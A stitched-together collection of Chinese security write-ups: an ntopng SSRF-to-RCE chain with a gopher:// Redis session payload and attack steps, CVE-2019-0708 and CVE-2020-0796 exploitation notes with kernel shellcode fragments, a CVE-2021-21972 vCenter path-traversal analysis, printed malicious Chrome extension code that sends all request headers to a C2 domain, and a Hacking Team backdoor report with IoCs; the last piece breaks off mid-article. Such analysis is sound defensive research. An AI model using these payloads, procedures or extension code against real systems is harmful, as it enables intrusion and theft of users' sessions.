SSDP 协议在 UDP 层传输,协议格式基于 HTTPU(在 UDP 端口上传输 HTTP 协议)。SSDP 客户端向多播地址239.255.255.250 的 1900 端口发送 M-SEARCH 的请求,局域网中加入此多播地址的设备接收到请求后,向客户端回复一个 HTTP/1.1 200 OK
,在 HTTP Headers 里有与设备相关的信息。其中存在一个 Location 字段,一般指向设备的描述文件。
// modules/discover_utils.lua
function discover.discover2table(interface_name, recache)
...
local ssdp = interface.discoverHosts(3)
...
ssdp = analyzeSSDP(ssdp)
...
local function analyzeSSDP(ssdp)
local rsp = {}
for url,host in pairs(ssdp) do
local hresp = ntop.httpGet(url, "", "", 3 --[[ seconds ]])
...
在 discover_utils.lua 中,Lua 会调用 discoverHosts
函数获取 SSDP 发现的设备信息,然后在analyzeSSDP 函数中请求 Location 头所指向的 URL。那么这里显然存在一个 SSRF 漏洞。ntop.httpGet
最终调用到的方法为 Utils::httpGetPost
,而这个方法又使用了 cURL 进行请求。
// Utils.cpp
bool Utils::httpGetPost(lua_State* vm, char *url, char *username,
char *password, int timeout,
bool return_content,
bool use_cookie_authentication,
HTTPTranferStats *stats, const char *form_data,
char *write_fname, bool follow_redirects, int ip_version) {
CURL *curl;
FILE *out_f = NULL;
bool ret = true;
curl = curl_easy_init();
众所周知,cURL 是支持 gopher://
协议的。ntopng 使用 Redis 储存 Session 的相关信息,那么利用SSRF 攻击本地的 Redis 即可设置 Session,最终实现认证绕过。
discover.discover2table
的调用入口在 discover.lua,也是一个偶数长度的文件名。于是通过请求此文件触发主机发现功能,同时启动一个 SSDP Server 去回复 ntopng 发出的 M-SEARCH 请求,并将 Location设置为如下 payload:
gopher://127.0.0.1:6379/_SET%20sessions.ntop%20%22admin|...%22%0d%0aQUIT%0d%0a
最终通过设置 Cookie 为 session=ntop
来通过认证。
0x05. 利用主机发现功能实现 RCE (版本 3.8-4.0)
原理同 0x04,利用点在 assistant_test.lua 中,需要设置 ntopng.prefs.telegram_chat_id
以及 ntopng.prefs.telegram_bot_token
,利用 SSRF 写入 Redis 即可。
local function send_text_telegram(text)
local chat_id, bot_token = ntop.getCache("ntopng.prefs.telegram_chat_id"),
ntop.getCache("ntopng.prefs.telegram_bot_token")
if( string.len(text) >= 4096 ) then
text = string.sub( text, 1, 4096 )
end
if (bot_token and chat_id) and (bot_token ~= "") and (chat_id ~= "") then
os.execute("curl -X POST https://api.telegram.org/bot"..bot_token..
"/sendMessage -d chat_id="..chat_id.." -d text=\" " ..text.." \" ")
return 0
else
return 1
end
end
0x06. 利用主机发现功能实现 RCE (版本 3.2-3.8)
原理同 0x04,利用点在 modules/alert_utils.lua 中,需要在 Redis 里设置合适的 threshold。
local function entity_threshold_crossed(granularity, old_table, new_table, threshold)
local rc
local threshold_info = table.clone(threshold)
if old_table and new_table then -- meaningful checks require both new and old tables
..
-- This is where magic happens: load() evaluates the string
local what = "val = "..threshold.metric.."(old, new, duration); if(val ".. op .. " " ..
threshold.edge .. ") then return(true) else return(false) end"
local f = load(what)
...
0x07. 在云主机上进行利用
SSDP 通常是在局域网内进行数据传输的,看似不可能针对公网的 ntopng 进行攻击。但是我们根据 0x04 中所提及到的 SSDP 的运作方式可知,当 ntopng 发送 M-SEARCH 请求后,在 3s 内向其隐式绑定的 UDP 端口发送数据即可使 ntopng 成功触发漏洞。
// modules/discover_utils.lua: local ssdp = interface.discoverHosts(3) <- timeout
if(timeout < 1) timeout = 1;
tv.tv_sec = timeout;
tv.tv_usec = 0;
..
while(select(udp_sock + 1, &fdset, NULL, NULL, &tv) > 0) {
struct sockaddr_in from = { 0 };
socklen_t s = sizeof(from);
char ipbuf[32];
int len = recvfrom(udp_sock, (char*)msg, sizeof(msg), 0, (sockaddr*)&from, &s);
..
针对云主机,如 Google Compute Engine、腾讯云等,其实例的公网 IP 实际上是利用 NAT 来进行与外部网络的通信的。即使绑定在云主机的内网 IP 地址上(如 10.x.x.x),在流量经过 NAT 时,dst IP 也会被替换为云主机实例的内网 IP 地址,也就是说,我们一旦知道其与 SSDP 多播地址 239.255.255.250 通信的 UDP 端口,即使不在同一个局域网内,也可以使之接收到我们的 payload,以触发漏洞。
针对 0x04,我们可以利用 rest/v1/get/flow/active.lua 来获取当前 ntopng 服务器与 239.255.255.250 通信的端口,由于这个路径长度为奇数,所以我们需要利用 0x02 中提及到的任意 lua 文件包含来进行利用。
同时,由于 UDP 通信的过程中此端口是隐式绑定的,且并没有进行来源验证,所以一旦获取到这个端口号,则可以向此端口发送 SSDP 数据包,以混淆真实的 SSDP 回复。需要注意的是,需要在触发主机功能的窗口期内向此端口发送数据,所以整个攻击流程如下:
- 触发主机发现功能;
- 循环请求 rest/v1/get/flow/active.lua 以获取端口;
- 再次触发主机发现功能;
- 向目标从第 2 步获取到的 UDP 端口发送 payload;
- 尝试利用 Cookie 进行登录以绕过认证。
针对 0x05,我们可以利用 get_flows_data.lua 来获取相关的 UDP 端口,原理不再赘述。
0x07. Conclusion
为什么出问题的文件名长度都是偶数啊.jpg
CVE-2019-0708 漏洞在 Windows Server 2008 R2 上的利用分析
分析背景
cve-2019-0708
是2019年一个rdp协议漏洞,虽然此漏洞只存在于较低版本的windows系统上,但仍有一部分用户使用较早版本的系统部署服务器(如Win Server 2008等),该漏洞仍有较大隐患。在此漏洞发布补丁之后不久,msf上即出现公开的可利用代码;但msf的利用代码似乎只针对win7,如果想要在Win Server 2008 R2上利用成功的话,则需要事先在目标机上手动设置注册表项。
在我们实际的渗透测试过程中,发现有部分Win Server 2008服务器只更新了永恒之蓝补丁,而没有修复cve-2019-0708。因此,我们尝试是否可以在修补过永恒之蓝的Win Server 2008 R2上实现一个更具有可行性的cve-2019-0708 EXP。
由于该漏洞已有大量的详细分析和利用代码,因此本文对漏洞原理和公开利用不做赘述。
分析过程
我们分析了msf的exp代码,发现公开的exp主要是利用大量Client Name内核对象布局内核池。这主要有两个目的,一是覆盖漏洞触发导致MS_T120Channel
对象释放后的内存,构造伪造的Channel对象;二是直接将最终的的shellcode布局到内核池。然后通过触发IcaChannelInputInternal
中Channel对象在其0x100偏移处的虚函数指针引用来达到代码执行的目的。如图1:
而这种利用方式并不适用于server2008r2。我们分析了server2008r2的崩溃情况,发现引起崩溃的原因是第一步,即无法使用Client Name对象伪造channel对象,从而布局失败。这是因为在默认设置下,server 2008 r2的
RDPSND/MS_T120 channel对象不能接收客户端Client Name对象的分片数据。根据MSF的说明(见图2),只有发送至RDPSND/MS_T120的分片信息才会被正确处理;win7以上的系统不支持MS_T120,而RDPSND在server 2008 r2上并不是默认开启的。因此,我们需要寻找其他可以伪造channel对象的方式。
在此期间,我们阅读了几篇详细分析cve-2019-0708的文章(见参考链接),结合之前的调试分析经历,我们发现的确可以利用RDPDR 的channelID(去掉MSF中对rdp_on_core_client_id_confirm函数的target_channel_id加一的操作即可)使Client Name成功填充MS_T120 channel对象,但使用RDPDR 有一个缺陷:RDPDR Client Name对象只能申请有限的次数,基本上只能完成MS_T120
对象的伪造占用并触发虚函数任意指针执行,无法完成后续的任意地址shellcode布局。
我们再次研究了Unit 42发布的报告,他们利用之前发布的文章中提到的Refresh Rect PDU
对象来完成内核池的大范围布局(如图,注:需要在RDP Connection Sequence
之后才能发送这个结构)。虽然这种内存布局方式每次只能控制8个字节,但作者利用了一个十分巧妙的方式,最终在32位系统上完成漏洞利用。
在解释这种巧妙利用之前,我们需要补充此漏洞目前的利用思路:得到一个任意指针执行的机会后,跳转到该指针指向的地址中,之后开始执行代码。但在内核中,我们能够控制的可预测地址只有这8个字节。虽然此时其中一个寄存器的固定偏移上保存有一个可以控制的伪造对象地址,但至少需要一条语句跳转过去。
而文章作者就是利用了在32位系统上地址长度只有4字节的特性,以及一条极短的汇编语句add bl,al; jmp ebx
,这两个功能的代码合起来刚好在8字节的代码中完成。之后通过伪造channel对象里面的第二阶段跳转代码再次跳转到最后的shellcode上。(具体参考Unite 42的报告)
我们尝试在64位系统上复现这种方法。通过阅读微软对Refresh Rect PDU
描述的官方文档以及msf的rdp.rb文件中对rdp协议的详细注释,我们了解到,申请Refresh Rect PDU
对象的次数很多,能够满足内核池布局大小的需求,但在之后多次调试分析后发现,这种方法在64位系统上的实现有一些问题:在64位系统上,仅地址长度就达到了8字节。我们曾经考虑了一种更极端的方式,将内核地址低位上的可变的几位复用为跳转语句的一部分,但由于内核池地址本身的大小范围,这里最多控制低位上的7位,即:
0xfffffa801“8c08000“ 7位可控
另外,RDPDR Client Name对象的布局的可控数据位置本身也是固定的(即其中最低的两位也是固定的),这样我们就只有更少的5位来实现第二阶段的shellcode跳转,即:
“8c080”0xfffffa801“8c080”00 5位可控,
由于伪造的channel对象中真正可用于跳转的地址和寄存器之间仍有计算关系,所以这种方法不可行,需要考虑其他的思路。
把利用的条件和思路设置得更宽泛一些,我们想到,如果目前rdp协议暂时不能找到这样合适的内核池布局方式,那其他比较容易获取的也比较通用的协议呢?结合以前分析过的协议类的多种代码执行漏洞,smb中有一个用得比较多的内核池布局方式srvnet
对象。
无论是永恒之蓝还是之后的SMBGhost
都使用到srvnet
对象进行内存布局。最容易的方法可以借助于msf中ms17-010
的代码,通过修改代码中对make_smb2_payload_headers_packet
和make_smb2_payload_body_packet
大小和数据的控制,能够比较容易地获取一种稳定的内核池布局方式(相关代码参考图5)。
由于单个Client Name Request
所申请的大小不足以存放一个完整的shellcode,并且如上面提到的,也不能申请到足够多的RDPDR Client Name
来布局内核池空间,所以我们选择将最终的shellcode直接布局到srvnet
申请的内核池结构中,而不是将其当作一个跳板,这样也简化了整个漏洞的利用过程。
最后需要说明一下shellcode的调试。ms17-010
中的shellcode以及0708中的shellcode都有一部分是根据实际需求定制的,不能直接使用。0708中的shellcode受限于RDPDR Client Name大小的限制,需要把shellcode的内核模块和用户层模块分为两个部分,每部分shellcode头部还带有自动搜索另一部分shellcode的代码。为了方便起见,我们直接使用ms17-010
中的shellcode,其中只需要修改一处用来保存进程信息对象结构的固定偏移地址。之后,我们仍需要在shellcode中添加文章中安全跳过IcaChannelInputInternal函数剩余部分可能崩溃的代码(参考Patch Kernel to Avoid Crash 章节),即可使整个利用正常工作。64位中添加的修补代码如下:
mov qword ptr[rbx+108h],0
mov rax,qword ptr[rsp]
add rax,440h
mov qword ptr[rsp],rax
mov r11,qword ptr gs:[188h]
add word ptr [r11+1C4h],1
总结
本篇文章主要是分享我们在分析CVE-2019-0708漏洞利用的过程中整合现有的一些方法和技术去解决具体实际问题的思路。但这种方法也会有一些限制,例如既然使用了smb协议中的一些内核对布局方式,则前提是需要目标开启了smb端口。另外,不同虚拟化平台下的目标内核基址需要预测来达到使exp通用的问题仍没有解决,但由于这个漏洞是2019年的,从到目前为止众多已经修补过的rdp信息泄露漏洞中泄露一个任意内核对象地址,应该不会是太难的一件事。
综上,我们建议用户尽量使用最新的操作系统来保证系统安全性,如果的确出于某些原因要考虑较早版本且不受微软安全更新保护的系统,也尽量将补丁打全,至少可以降低攻击者攻击成功的方法和机会。
参考链接
CVE-2021-21972 vCenter Server 文件写入漏洞分析
0x01. 漏洞简介
vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。
vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。
0x02. 影响范围
-
vmware:vcenter_server
7.0 U1c 之前的 7.0 版本 -
vmware:vcenter_server
6.7 U3l 之前的 6.7 版本 -
vmware:vcenter_server
6.5 U3n 之前的 6.5 版本
0x03. 漏洞影响
VMware已评估此问题的严重程度为 严重
程度,CVSSv3 得分为 9.8
。
0x04. 漏洞分析
vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova
接口存在一个上传 OVA 文件的功能:
@RequestMapping(
value = {"/uploadova"},
method = {RequestMethod.POST}
)
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
...
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty()) {
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
String[] var9 = entries;
int var10 = entries.length;
for(int var11 = 0; var11 < var10; ++var11) {
String entry = var9[var11];
File currentFile = new File(dir.getPath(), entry);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
ArrayList result = new ArrayList();
代码逻辑是将 TAR 文件解压后上传到 /tmp/unicorn_ova_dir
目录。注意到如下代码:
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
直接将 TAR 的文件名与 /tmp/unicorn_ova_dir
拼接并写入文件。如果文件名内存在 ../
即可实现目录遍历。
对于 Linux 版本,可以创建一个包含 ../../home/vsphere-ui/.ssh/authorized_keys
的 TAR 文件并上传后利用 SSH 登陆:
$ ssh 192.168.1.34 -lvsphere-ui
VMware vCenter Server 7.0.1.00100
Type: vCenter Server with an embedded Platform Services Controller
vsphere-ui@bogon [ ~ ]$ id
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)
针对 Windows 版本,可以在目标服务器上写入 JSP webshell 文件,由于服务是 System 权限,所以可以任意文件写。
0x05. 漏洞修复
升级到安全版本:
-
vCenter Server 7.0 版本升级到 7.0.U1c
-
vCenter Server 6.7版本升级到 6.7.U3l
-
vCenter Server 6.5版本升级到 6.5 U3n
临时修复建议
(针对暂时无法升级的服务器)
-
SSH远连到vCSA(或远程桌面连接到Windows VC)
-
备份以下文件:
-
Linux系统文件路径为:/etc/vmware/vsphere-ui/compatibility-matrix.xml (vCSA)
-
Windows文件路径为:C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui (Windows VC)
-
-
使用文本编辑器将文件内容修改为:
-
使用vmon-cli -r vsphere-ui命令重启vsphere-ui服务
-
访问https://
/ui/vropspluginui/rest/services/checkmobregister,显示404错误 -
在vSphere Client的Solutions->Client Plugins中VMWare vROPS插件显示为incompatible
0x06. 参考链接
- VMware官方安全通告
https://www.vmware.com/security/advisories/VMSA-2021-0002.html - 360Cert漏洞预警通告
https://mp.weixin.qq.com/s/7x5nBpHIVOl5c1kqfsIhSQ - 官方漏洞缓释措施
https://kb.vmware.com/s/article/82374
隐藏在 Chrome 中的窃密者
概述
近日,有reddit用户反映,拥有100k+安装的Google Chrome扩展程序 User-Agent Switcher存在恶意点赞facebook/instagram照片的行为。
除User-Agent Switcher以外,还有另外两个扩展程序也被标记为恶意的,并从Chrome商店中下架。
目前已知受影响的扩展程序以及版本:
- User-Agent Switcher
- 2.0.0.9
- 2.0.1.0
- Nano Defender
- 15.0.0.206
- Nano Adblocker
- 疑为 1.0.0.154
目前,Google已将相关扩展程序从 Web Store 中删除。Firefox插件则不受影响。
影响范围
Chrome Webstore显示的各扩展程序的安装量如下:
- User-Agent Switcher: 100 000+
- Nano Defender: 200 000+
- Nano Adblocker: 100 000+
360安全大脑显示,国内已有多位用户中招。我们尚不清楚有多少人安装了受影响的扩展程序,但从国外社区反馈来看,安装相关插件的用户不在少数,考虑到安装基数,我们认为此次事件影响较为广泛,请广大Chrome用户提高警惕,对相关扩展程序进行排查,以防被恶意组织利用。
国外社区用户和研究者报告了User-Agent Switcher随机点赞facebook/Instagram照片的行为,虽然我们目前还没有看到有窃取密码或远程登录的行为,但是考虑到这些插件能够收集浏览器请求头(其中也包括cookies),我们可以合理推测,攻击者是能够利用收集到的信息进行未授权登录的。为了防止更进一步危害的发生,我们在此建议受影响的Chrome用户:
- 及时移除插件
- 检查 Facebook/Instagram 账户是否存在来历不明的点赞行为
- 检查账户是否存在异常登录情况
- 修改相关账户密码
- 登出所有浏览器会话
Timeline
- 8月29日,User-Agent Switcher 更新 2.0.0.9 版本
- 9月7日,User-Agent Switcher 更新 2.0.1.0 版本
- 10月3日,Nano Defender作者jspenguin2017宣布将 Nano Defender 转交给其他开发者维护
- 10月7日,reddit用户 ufo56 发布帖子,报告 User-Agent Switcher 的恶意行为
- 10月15日,Nano Defender 更新 15.0.0.206 版本,同时:
代码分析
User-Agent Switcher
影响版本:2.0.0.9, 2.0.1.0
修改文件分析
User-Agent Switcher 2.0.0.8与2.0.0.9版本的文件结构完全相同,攻击者仅修改了其中两个文件:js/background.min.js
和js/JsonValues.min.js
。
background.min.js
js/background.min.js
中定义了扩展程序的后台操作。
完整代码如下所示。
// 完整代码
// 发起到 C2 的连接
var userAgent = io("https://www.useragentswitch.com/");
async function createFetch(e) {
let t = await fetch(e.uri, e.attr),
s = {};
return s.headerEntries = Array.from(t.headers.entries()),
s.data = await t.text(),
s.ok = t.ok,
s.status = t.status,
s
}
// 监听“createFetch”事件
userAgent.on("createFetch", async function (e) {
let t = await createFetch(e);
userAgent.emit(e.callBack, t)
});
handlerAgent = function (e) {
return -1 == e.url.indexOf("useragentswitch") && userAgent.emit("requestHeadersHandler", e), {
requestHeaders: JSON.parse(JSON.stringify(e.requestHeaders.reverse()).split("-zzz").join(""))
}
};
// hook浏览器请求
chrome.webRequest.onBeforeSendHeaders.addListener(handlerAgent, {
urls: ["<all_urls>"]
}, ["requestHeaders", "blocking", "extraHeaders"]);
攻击者添加的代码中定义了一个到 https://www.useragentswitch.com
的连接,并hook了浏览器的所有网络请求。当url中未包含 useragentswitch
时,将请求头编码后发送到C2。除此之外,当js代码接收到“createFetch”事件时,会调用 createFetch
函数,从参数中获取uri等发起相应请求。
由此我们推测,如果用户安装了此插件,C2通过向插件发送“createFetch”事件,使插件发起请求,完成指定任务,例如reddit用户提到的facebook/instagram点赞。攻击者能够利用此种方式来获利。
在处理hook的请求头时,js代码会替换掉请求头中的 -zzz
后再发送,但我们暂时无法得知这样操作的目的是什么。
User-Agent Switcher 2.0.0.9 和 2.0.1.0 版本几乎相同,仅修改了 js/background.min.js
文件中的部分代码顺序,在此不做多述。
JsonValues.min.js
js/JsonValues.min.js
中原本为存储各UserAgent的文件。攻击者在文件后附加了大量js代码。经过分析,这些代码为混淆后的socketio客户端。
Nano Defender
影响版本:15.0.0.206
在Nano Defender中,攻击者同样修改了两个文件:
background/connection.js
background/core.js
其中,background/connection.js
为新增的文件,与User-Agent Switcher中的 js/JsonValues.min.js
相同,为混淆后的socketio客户端。
core.js
background/core.js
与User-Agent Switcher中的 js/background.min.js
相似,同样hook浏览器的所有请求并发送至C2(https://def.dev-nano.com/
),并监听dLisfOfObject
事件,发起相应请求。
与User-Agent Switcher不同的是,在将浏览器请求转发至C2时,会使用正则过滤。过滤原则为C2返回的listOfObject
,如果请求头满足全部条件,则转发完整的请求头,否则不予转发。
可以看出,攻击者对原本的转发策略进行了优化,从最初的几乎全部转发修改为过滤转发,这使得攻击者能够更为高效地获取感兴趣的信息。
同样地,core.js
在发送请求头之前,会删除请求头中的-zzz
字符串。只是这次core.js
做了简单混淆,使用ASCII数组而非直接的-zzz
字符串。
var m = [45,122,122,122]
var s = m.map( x => String.fromCharCode(x) )
var x = s.join("");
var replacerConcat = stringyFy.split(x).join("");
var replacer = JSON.parse(replacerConcat);
return {
requestHeaders: replacer
}
uBlock的开发者gorhill对此代码进行了比较详细的分析,我们在此不做赘述。
Nano Adblocker
影响版本:未知
尽管有报告提到,Nano Adblocker 1.0.0.154 版本也被植入了恶意代码,但是我们并没有找到此版本的扩展程序文件以及相关资料。尽管该扩展程序已被下架,我们仍旧无法确认Google商店中的插件版本是否为受影响的版本。第三方网站显示的版本历史中的最后一次更新为2020年8月26日,版本号为1.0.0.153。
版本历史
由于各插件已被Google下架,我们无法从官方商店获取插件详情。根据第三方网站,User-Agent Switcher 版本历史如下:
可以看到,第一个存在恶意功能的插件版本2.0.0.9更新日期为2020年8月29日,而插件连接域名useragentswitch[.]com注册时间为2020年8月28日。
第三方网站显示的 Nano Defender 版本历史显示,攻击者在2020年10月15日在Google Web Store上更新了15.0.0.206版本,而C2域名dev-nano.com
注册时间为2020年10月11日。
关联分析
我们对比了User-Agent Switcher和Nano Defender的代码。其中,js/background.js
(from ua switcher)和background/core.js
(from nano defender) 两个文件中存在相同的代码。
可以看到,两段代码几乎完全相同,仅对变量名称、代码布局有修改。此外,两段代码对待转发请求头的操作相同:都替换了请求头中的-zzz
字符串。
由此,我们认为,两个(或三个)扩展程序的始作俑者为同一人。
Nano Defender新开发者创建了自己的项目。目前该项目以及账户(nenodevs)均已被删除,因此我们无法从GitHub主页获取到有关他们的信息。
攻击者使用的两个域名都是在插件上架前几天注册的,开启了隐私保护,并利用CDN隐藏真实IP,而他们在扩展程序中使用的C2地址 www.useragentswitch.com
和 www.dev-nano.com
目前均指向了namecheap的parkingpage。
Nano Defender原作者称新开发者是来自土耳其的开发团队,但是我们没有找到更多的信息证实攻击者的身份。
小结
攻击者利用此类插件能达成的目的有很多。攻击者通过请求头中的cookie,能够获取会话信息,从而未授权登录;如果登录银行网站的会话被截取,用户资金安全将难保。就目前掌握的证据而言,攻击者仅仅利用此插件随机点赞,而没有更进一步的操作。我们无法判断是攻击者本身目的如此,或者这只是一次试验。
窃取用户隐私的浏览器插件并不罕见。早在2017年,在v2ex论坛就有用户表示,Chrome中另一个名为 User-Agent Switcher
的扩展程序可能存在未授权侵犯用户隐私的恶意行为;2018年卡巴斯基也发布了一篇关于Chrome恶意插件的报告。由于Google的审核流程并未检测到此类恶意插件,攻击者仍然可以通过类似的手法进行恶意活动。
IoCs
f45d19086281a54b6e0d539f02225e1c -> user-agent switcher 2.0.0.9
6713b49aa14d85b678dbd85e18439dd3 -> user-agent switcher 2.0.0.9
af7c24be8730a98fe72e56d2f5ae19db -> nano defender 15.0.0.206
useragentswitch.com
dev-nano.com
References
https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/
https://www.reddit.com/r/cybersecurity/comments/jeekgw/google_chrome_extension_nano_defender_marked_as/
https://github.com/jspenguin2017/Snippets/issues/5
https://github.com/NanoAdblocker/NanoCore/issues/362
https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md
https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0
凛冬将至,恶魔重新降临 —— 浅析 Hacking Team 新活动
背景
Hacking Team 是为数不多在全球范围内出售网络武器的公司之一,从 2003 年成立以来便因向政府机构出售监视工具而臭名昭著。
2015年7月,Hacking Team 遭受黑客攻击,其 400GB 的内部数据,包括曾经保密的客户列表,内部邮件以及工程化的漏洞和后门代码被全部公开。随后,有关 hacking team 的活动突然销声匿迹。
2018年3月 ESET 的报告指出:Hacking Team 一直处于活跃状态,其后门版本也一直保持着稳定的更新。
2018年12月360高级威胁应对团队的报告披露了 Hacking Team 使用 Flash 0day 的”毒针”行动。
2019年11月360高级威胁应对团队的报告披露了 APT-C-34 组织使用 Hacking Team 网络武器进行攻击。
2020年4月360诺亚实验室的报告披露出 Hacking Team 新的攻击活动。
以上信息表明,Hacking Team 依旧处于活跃状态,并且仍然保持着高水准的网络武器开发能力。
概述
2020年9月11日,VirusTotal 上传了一份来自白俄罗斯的 rtf 恶意文档样本,该样本疑似 CVE-2020-0968 漏洞首次被发现在野利用。国内友商将此攻击事件称为“多米诺行动”,但并未对其进行更丰富的归因。
我们分析相关样本后发现,该行动中使用的后门程序为 Hacking Team scout 后门的 38 版本。
此版本的后门使用了打印机图标,伪装成 Microsoft Windows Fax and Scan 程序。
和之前的版本一样,该样本依然加了VMP壳,并使用了有效的数字签名:
此样本的后门 ID 为031b000000015
C2 为 185.243.112[.]57
和之前的版本相同,scout 使用 post 方式,将加密信息上传至 185.243.112[.]57/search,且使用了相同的 UserAgent。由于其版本间的功能变化不大,我们在此不再对其进行详细分析。若对 scout 后门技术细节感兴趣,可以参考我们之前发布的报告。
关联分析
通过签名我们关联到另外一起针对俄罗斯的攻击事件。
关联到的样本名为: дело1502-20памятка_эл72129.rtf
,中文翻译为:案例 1502-20 备忘录。rtf运行后,会从远程服务器 23.106.122[.]190 下载 mswfs.cab 文件,并释放后门程序到 %UserProfile%\AppData\Local\Comms\mswfs.exe
。9月26日分析时,从服务器下载的 mswfs.cab 文件为正常的 winrar 安装包文件。
mswfs.exe
同样为 scout 后门38版本。
与针对白俄罗斯的攻击中的样本相同,该样本伪装成 Microsoft Windows Fax and Scan 程序,并使用了相同的数字签名。
此样本后门 ID 和 C2 如下图所示。
通过对远程服务器 23.106.122[.]190 进行分析,我们发现该 ip 关联的域名为 gvpgov[.]ru
,注册日期为2020年9月11号。该域名为 gvp.gov.ru
的伪装域名,直接访问 23.106.122[.]190 会跳转到 https://www.gvp.gov.ru/gvp/documents ,即俄罗斯军事检察官办公室门户。
结论
结合白俄罗斯上传的 “СВЕДЕНИЯ О ПОДСУДИМОМ.rtf” (中文翻译为“有关被告的信息”)样本和关联到的新样本,我们可以推测,此次行动是攻击者使用 Hacking Team 网络武器库针对俄罗斯与白俄罗斯军事/司法部门相关人员的一次定向攻击事件。
结合当前时间节点,俄罗斯、白俄罗斯和中国军队在俄罗斯阿斯特拉罕州卡普斯京亚尔靶场举行“高加索-2020”战略演习,白俄罗斯与俄罗斯联合开展“斯拉夫兄弟情2020”联合战术演习,9月14日的俄白总统会谈,以及白俄罗斯的示威活动,也给此次攻击增添了重重政治意味。
关于HT
2019年4月,Hacking Team 这家意大利公司被另一家网络安全公司收购并更名为 Memento Labs。一年多之后的2020年5月,Hacking Team 的创始人和前首席执行官 David Vincenzetti 在其官方 LinkedIn 账号上发布了一条简短的消息:
Hacking Team is dead.
Hacking Team 的几名主要员工离职后,尽管新产品的开发速度有所减缓,但通过观测到的 scout 后门版本的更新情况,我们发现 Hacking Team 仍然保持着较高频率的活跃,这也说明 Memento Labs 一直在努力试图崛起。
观测到的时间 | scout版本号 | 签名 | 签名有效期 | 伪装的程序 |
---|---|---|---|---|
2019-10 | 35 | KELSUREIWT LTD | 2018.10-2019.10 | ActiveSync RAPI Manager |
2020-01 | 35 | CODEMAT LTD | 2019.06-2020.06 | ActiveSync RAPI Manager |
2020-05 | 36 | Pribyl Handels GmbH | 2019.12-2020.12 | ActiveSync RAPI Manager |
2020-09 | 38 | Sizg Solutions GmbH | 2019.12-2020.12 | Microsoft Windows Fax and Scan |
IoCs
针对俄罗斯的攻击
Hash
9E570B21929325284CF41C8FCAE4B712 mswfs.exe
BACKDOOR_ID
71f8000000015
IP
23.106.122[.]190
87.120.37[.]47
针对白俄罗斯的攻击
hash
60981545a5007e5c28c8275d5f51d8f0 СВЕДЕНИЯ О ПОДСУДИМОМ.rtf
ba1fa3cc9c79b550c2e09e8a6830e318 dll
f927659fc6f97b3f6be2648aed4064e1 exe
BACKDOOR_ID
031b000000015
IP
94.156.174[.]7
185.243.112[.]57
CVE-2020-0796漏洞realworld场景实现改进说明
在此前跟进CVE-2020-0796的过程中,我们发现公开代码的利用稳定性比较差,经常出现蓝屏的情况,通过研究,本文分享了CVE-2020-0796漏洞实现在realworld使用过程中遇到的一些问题以及相应的解决方法。
Takeaways
- 我们分析了exp导致系统蓝屏的原因,并尝试对其进行了改进;
- 相对于重构前exp,重构后的exp执行效率与稳定性都有显著提高;
- 关于漏洞原理阐述,Ricerca Security在2020年4月份发布的一篇blog中已非常清晰,有兴趣的读者可以移步阅读,本文不再赘述。
初步选择和测试公开exp可用性
测试环境:VMWare,Win10专业版1903,2G内存,2处理核心
为了测试和说明方便,我们可以将exp的执行分为3个阶段:
- 漏洞利用到内核shellcode代码开始执行
- 内核shellcode代码执行
- 用户层shellcode执行
根据实际情况,我们测试了chompie1337和ZecOps的漏洞利用代码。根据各自项目的说明文档,两份代码初步情况如下:
- ZecOps
ZecOps的利用代码是在单个处理器的目标计算机系统上测试的;在后续的实际测试中,发现其代码对多处理器系统的支持不足,虽然在测试环境中进行了多次测试中,系统不会产生BSOD,但漏洞无法成功利用(即exp执行第一阶段失败)。
- chompie1337
chompie1337的代码在漏洞利用阶段则表现得十分稳定,但在内核shellcode执行时会造成系统崩溃。
因此,我们决定将chompie1337的利用代码作为主要测试对象。
内核shellcode问题定位
我们在win10 1903中测试了chompie1337的exp代码,绝大部分的崩溃原因是在漏洞利用成功后、内核shellcode代码执行(即exp执行的第二阶段)时,申请用户空间内存的API zwAllocateVirtualMemory调用失败。在我们的多次测试中,崩溃现场主要包括以下两种:
对比exp正常执行时的流程和崩溃现场,我们发现无论是哪种崩溃现场,根本原因都是在内核态申请用户态内存时,调用MiFastLockLeafPageTable时(crash_A是在MiMakeHyperRangeAccessible中调用MiFastLockLeafPageTable,crash_B在MiGetNextPageTable中调用MiFastLockLeafPageTable)函数内部出现错误,导致系统崩溃。
在遇到crash_B时,我们起初认为这是在内核态申请用户态读写权限内存时,系统复制CFG Bitmap出现的异常。CFG(Control Flow Guard,控制流防护)会检查内存申请等关键API调用者是否有效,以避免出现安全问题。
